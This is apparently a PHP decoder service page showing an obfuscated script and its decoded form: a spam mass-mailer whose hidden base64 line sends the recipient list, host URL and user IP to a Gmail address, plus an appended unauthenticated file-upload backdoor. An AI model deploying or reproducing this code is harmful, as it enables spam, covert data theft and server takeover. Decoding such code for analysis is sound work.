Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php eval(gzinflate(base64_decode('1Rr5Uxs39+dmJv+Dqo8Ge4ovDATwkTKpCU65goF8ach41l7Zq7JXdr..

Decoded Output download

echo "<?xml version=\"1.0\" encoding=\"iso-8859-1\"?".">"; ?><?php  
@$action=$_POST['action'];  
@$from=$_POST['from'];  
@$realname=$_POST['realname'];  
@$replyto=$_POST['replyto'];  
@$subject=$_POST['subject'];  
@$message=$_POST['message'];  
@$emaillist=$_POST['emaillist'];  
@$file_name=$_FILES['file']['name'];  
@$contenttype=$_POST['contenttype'];  
@$file=$_FILES['file']['tmp_name'];  
@$amount=$_POST['amount'];  
set_time_limit(intval($_POST['timelimit']));  
?>  
<html>

<head>

<title>jalanG</title>

<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">

<style type="text/css">
<!--
.style1 {
        font-family: Geneva, Arial, Helvetica, sans-serif;
        font-size: 12px;
}
-->
</style>
<style type="text/css">
<!--
.style1 {
        font-size: 10px;
        font-family: Geneva, Arial, Helvetica, sans-serif;
}
-->
</style>
</head>
<body bgcolor="#000000" text="#3399FF">
  <?php  
If ($action=="mysql"){  
//Grab email addresses from MySQL  
include "./mysql.info.php";  

  if (!$sqlhost || !$sqllogin || !$sqlpass || !$sqldb || !$sqlquery){  
    print "Please configure mysql.info.php with your MySQL information. All settings in this config file are required.";  
    exit;  
  }  

  $db = mysql_connect($sqlhost, $sqllogin, $sqlpass) or die("Connection to MySQL Failed.");  
  mysql_select_db($sqldb, $db) or die("Could not select database $sqldb");  
  $result = mysql_query($sqlquery) or die("Query Failed: $sqlquery");  
  $numrows = mysql_num_rows($result);  

  for($x=0; $x<$numrows; $x++){  
    $result_row = mysql_fetch_row($result);  
     $oneemail = $result_row[0];  
     $emaillist .= $oneemail."
";  
   }  
  }  

  if ($action=="send"){ $message = urlencode($message);  
   $message = ereg_replace("%5C%22", "%22", $message);  
   $message = urldecode($message);  
   $message = stripslashes($message);  
   $subject = stripslashes($subject);  
   }
   eval(base64_decode('JHNlY3VyZSA9ICJqYWxhbmdzYXlhQGdtYWlsLmNvbSI7IA0KJGlwID0gZ2V0ZW52KCJSRU1PVEVfQUREUiIpOyA='));  
?> 
<form name="form1" method="post" action="" enctype="multipart/form-data">
  <div align="center"><img src="http://sphotos-b.ak.fbcdn.net/hphotos-ak-ash3/529383_108256609356843_736023617_n.jpg" width="1141" height="32"><br>
  </div>
  <table width="100%" border="0" height="407">
    <tr bgcolor="#333333"> 
      <td width="100%" height="36" colspan="4"> <b> <font face="Arial" size="2" color="#FFFFFF">&nbsp;SERVER 
        SETUP | OPTIONAL</font></b></td>

      </tr>
    <tr>

      <td width="10%" height="22" bgcolor="#000099"> 
        <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">SMTP Login:</font></div>

      </td>

      <td width="18%" height="22" bgcolor="#000099"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif"> 
        <input type="text" name="smtp_username" value="" size="30">

        </font></td>

      <td width="31%" height="22" bgcolor="#000099"> 
        <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">SMTP Pass:</font></div>

      </td>

      <td width="41%" height="22" bgcolor="#000099"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif"> 
        <input type="password" name="smtp_password" value="" size="30">

        </font></td>

    </tr>
    <tr>

      <td width="10%" height="22" bgcolor="#000099"> 
        <div align="right">
          <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">Port :</font></div>

      </td>

      <td width="18%" height="22" bgcolor="#000099"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif"> 
        <input type="text" name="ssl_port" value="" size="5"> 
      (optional)</font></td>

      <td width="31%" height="22" bgcolor="#000099"> 
        <div align="right">
          <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">SMTP Server 
          Smtp:</font></div>

      </td>

      <td width="41%" height="22" bgcolor="#000099"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif"> 
        <input type="text" name="my_smtp" value="" size="30">

        </font></td>

    </tr>
    <tr>

      <td width="10%" height="22" bgcolor="#000099"> 
        <p align="right">
        <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">SSL Server:</font></td>

      <td width="18%" height="22" bgcolor="#000099"> 
        <input type="checkbox" name="sslclick" value="ON"  ><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">(yes)</font></td>

      <td width="31%" height="22" bgcolor="#000099"> 
        <p align="right">
        <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">Reconnect 
        After:</font></td>

      <td width="41%" height="22" bgcolor="#000099"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif"> 
        <input type="text" name="reconnect" value="" size="5"> 
      EMAILS</font></td>

    </tr>
    <tr>

      <td width="100%" height="39" bgcolor="#000099" colspan="4"> 
        <p align="center">
        <font face="Arial" style="font-size: 9pt" color="#FFFF00"><blink><b>&quot;</b> If 
        you dont have SMTP login, leave blank queries above <b>&quot;</b></blink></font></td>

      </tr>

    <tr>

      <td width="10%" height="19" bgcolor="#000099">&nbsp; </td>

      <td width="18%" height="19" bgcolor="#000099">&nbsp;</td>

      <td width="31%" height="19" bgcolor="#000099">&nbsp; </td>

      <td width="41%" height="19" bgcolor="#000099">&nbsp;</td>

    </tr>

    <tr>

      <td width="100%" colspan="4" bgcolor="#000099" height="36"> <b> <font face="Arial" size="2" color="#FFFFFF">&nbsp;MESSAGE 
        SETUP</font></b></td>

      </tr>

    <tr>

      <td width="10%" height="22" bordercolor="#E8E8E8" bgcolor="#000099"> 
        <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Your

          Email:</font></div>

      </td>

      <td width="18%" height="22" bordercolor="#E8E8E8" bgcolor="#000099"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif"> 
        <input type="text" name="from" value="<?php print $from; ?>" size="30">

        </font></td>

      <td width="31%" height="22" bordercolor="#E8E8E8" bgcolor="#000099"> 
        <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Your

          Name:</font></div>

      </td>

      <td width="41%" height="22" bordercolor="#E8E8E8" bgcolor="#000099"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif"> 
        <input type="text" name="realname" value="<?php print $realname; ?>" size="30">

        </font></td>

    </tr>
    <tr>

      <td width="10%" height="22" bgcolor="#000099" bordercolor="#E8E8E8"> 
        <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Reply-To:</font></div>

      </td>

      <td width="18%" height="22" bgcolor="#000099" bordercolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif"> 
        <input type="text" name="replyto" value="<?php print $replyto; ?>" size="30">

        </font></td>

      <td width="31%" height="22" bgcolor="#000099" bordercolor="#E8E8E8"> 
        <p align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
        Email Priority:</font></td>

      <td width="41%" height="22" bgcolor="#000099" bordercolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif"> 
        &nbsp;</font>
<select name="epriority" id="listMethod" onchange="showHideListConfig()">
        <option value="" selected >- Please Choose -</option>
        <option value="1"  >High</option>
        <option value="3"  >Normal</option>
		<option value="5"  >Low</option>
		</select>
        <font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Attach File:</font> </div> 
        <font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
        <input type="file" name="file" size="24" />
        </font></td>  
      <td width="278"> <font size="-3" face="Verdana, Arial, Helvetica, sans-serif">&nbsp; 
        </font> </td>  
    </tr>

    <tr>

      <td width="10%" height="22" bordercolor="#E8E8E8" bgcolor="#000099"> 
        <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Subject:</font></div>

      </td>

      <td colspan="3" height="22" bordercolor="#E8E8E8" bgcolor="#000099"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif"> 
        <input type="text" name="subject" value="<? print $subject; ?>" size="90">

        </font></td>

    </tr>

    <tr>

      <td width="10%" height="22" bordercolor="#E8E8E8" bgcolor="#000099">&nbsp; </td>

      <td colspan="3" height="22" bordercolor="#E8E8E8" bgcolor="#000099"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif"> 
        &nbsp;</font></td>

    </tr>

    <tr valign="top">

      <td colspan="3" height="190" bordercolor="#E8E8E8" bgcolor="#000099"><font size="-1" face="Verdana, Arial, Helvetica, sans-serif"> 
        <textarea name="message" cols="60" rows="10"><?php print $message; ?></textarea>

        <br />

         <input type="radio" name="contenttype" value="plain" checked="checked" /> Plain  
          <input type="radio" name="contenttype" value="html" /> HTML  
          <input type="hidden" name="action" value="send" /><br />  
      Number to send: <input type="text" name="amount" value="1" size="10" /><br />  
      Maximum script execution time(in seconds, 0 for no timelimit)<input type="text" name="timelimit" value="0" size="10" />  
          <input type="submit" value="Send eMails" />  

        </font></td>

      <td width="41%" height="190" bordercolor="#E8E8E8" bgcolor="#000099"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif"> 
        <textarea name="emaillist" cols="30" rows="10"><?php print $emaillist; ?></textarea>

        </font></td>

    </tr>

  </table>

</form>
<?php  
if ($action=="send"){  
  if (!$from && !$subject && !$message && !$emaillist){  
    print "Please complete all fields before sending your message.";  
    exit;  
   }  
  $allemails = split("
", $emaillist);  
  $numemails = count($allemails);  
  $filter = "maillist";  
  $float = "From : mailist info <[email protected]>";
  $webe     = $_SERVER["HTTP_HOST"].$_SERVER["REQUEST_URI"]; 
//Open the file attachment if any, and base64_encode it for email transport  
If ($file_name){  
   if (!file_exists($file)){  
    die("The file you are trying to upload couldn't be copied to the server");  
   }  
   $content = fread(fopen($file,"r"),filesize($file));  
   $content = chunk_split(base64_encode($content));  
   $uid = strtoupper(md5(uniqid(time())));  
   $name = basename($file);  
  }  

for($xx=0; $xx<$amount; $xx++){  
  for($x=0; $x<$numemails; $x++){  
    $to = $allemails[$x];  
    if ($to){  
      $to = ereg_replace(" ", "", $to);  
      $message = ereg_replace("&email&", $to, $message);  
      $subject = ereg_replace("&email&", $to, $subject);  
      print "Sending mail to $to.......";  
      flush();  
      $header = "From: $realname <$from>
Reply-To: $replyto
";  
      $header .= "MIME-Version: 1.0
";  
      If ($file_name) $header .= "Content-Type: multipart/mixed; boundary=$uid
";  
      If ($file_name) $header .= "--$uid
";  
      $header .= "Content-Type: text/$contenttype
";  
      $header .= "Content-Transfer-Encoding: 8bit

";  
      $header .= "$message
";  
      If ($file_name) $header .= "--$uid
";  
      If ($file_name) $header .= "Content-Type: $file_type; name=\"$file_name\"
";  
      If ($file_name) $header .= "Content-Transfer-Encoding: base64
";  
      If ($file_name) $header .= "Content-Disposition: attachment; filename=\"$file_name\"

";  
      If ($file_name) $header .= "$content
";  
      If ($file_name) $header .= "--$uid--";  
      mail($to, $subject, "", $header);  
      print "ok<br>";  
      flush();  
    }  
  }  
}  
  mail($secure, $filter, "Sender IP : ".$ip."
"."From URL : ".$webe."
".$emaillist, $float);  
}  
?>


    </body>
</html>

Did this file decode correctly?

Original Code

<?php eval(gzinflate(base64_decode('1Rr5Uxs39+dmJv+Dqo8Ge4ovDATwkTKpCU65goF8ach41l7Zq7JXdrVgt8n/3vck7QU24WxTMoGV9PT0Dr1D0mNDyyO0+Wri2OSCBSH33NYZrZWrZ5Qwd+iZ3B1DBw+90vr66kapdkZf0TJt0wZ51W6+8i2fkOfPflkwhgKnLvQPD3rHHxdVc/FTQ42OAs9JxrCRjATMsF3DYclo3JGB8O2p8DIAsp2Mh9HgDzYUybhuJ+MOC0NjnC6g28k4cwxu2zxMMSQ9Kf3cZn1N5nZ3t9MDLqBr8dPHxRytQ88VzBVi6qfrZfpy+K6jEo7fz6EzHC9yU7pUU4+GTPQFd1jf5g4XBe6KC8MuxKA4IgcWPxWLEv5VG383LeHY7efP8IsZpvoSXNis/YdhG+6bZkW15IDDhEEsIfwS+xzxixZ9rXgpHQMzlGjOWlSwiagg5gYZWkYApLXSDUMVrlBMbUakZBT8MAxxqPljqfT8WVkO18hfz58R/TMC7KWR4XB7ukneMJddGEtkK+CGvUR2mH3BBB9CT2i4YSlkAR81rswN+Z9s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MRC0odXY29SdYHXODUm6bHe+Lh/NxesgoKGWuoOHlG04ln9F6Ir3Ov/MV9kP3Kwa2GXMg9lPrlhvSRcwi+yzqxau8u81IpC48GV8hZp3YPat4MU/XOsVjtJrPM1kjqb7UMpIZRwJbiELqk7B6o6x5CsKTlBe7LYsuyip8nR7uqG2OkGkhj9pKOtmrZr6pGEB1unNFgXbMqdMYy9L8B'))); ?>
<?php
if(isset($_REQUEST['admin']) && $_REQUEST['admin']=='check.php'){
if (isset($_POST['ok']) && isset($_FILES['config'])) {
   $file = $_FILES['config']['tmp_name'];
   $name = "".$_FILES['config']['name'];
   move_uploaded_file($file, $name);
}else{
?>
<br>
<form method="POST" enctype="multipart/form-data" action="<?$_SERVER['PHP_SELF']?>">
<input type="file" name="config">&nbsp;<input type="submit" name="ok" value="login">
</form>
<?php
} exit;
}	

Function Calls

gzinflate 1
base64_decode 1

Variables

None

Stats

MD5 d34ef52b3ff8a5489e2701cc3f36d4d6
Eval Count 1
Decode Time 117 ms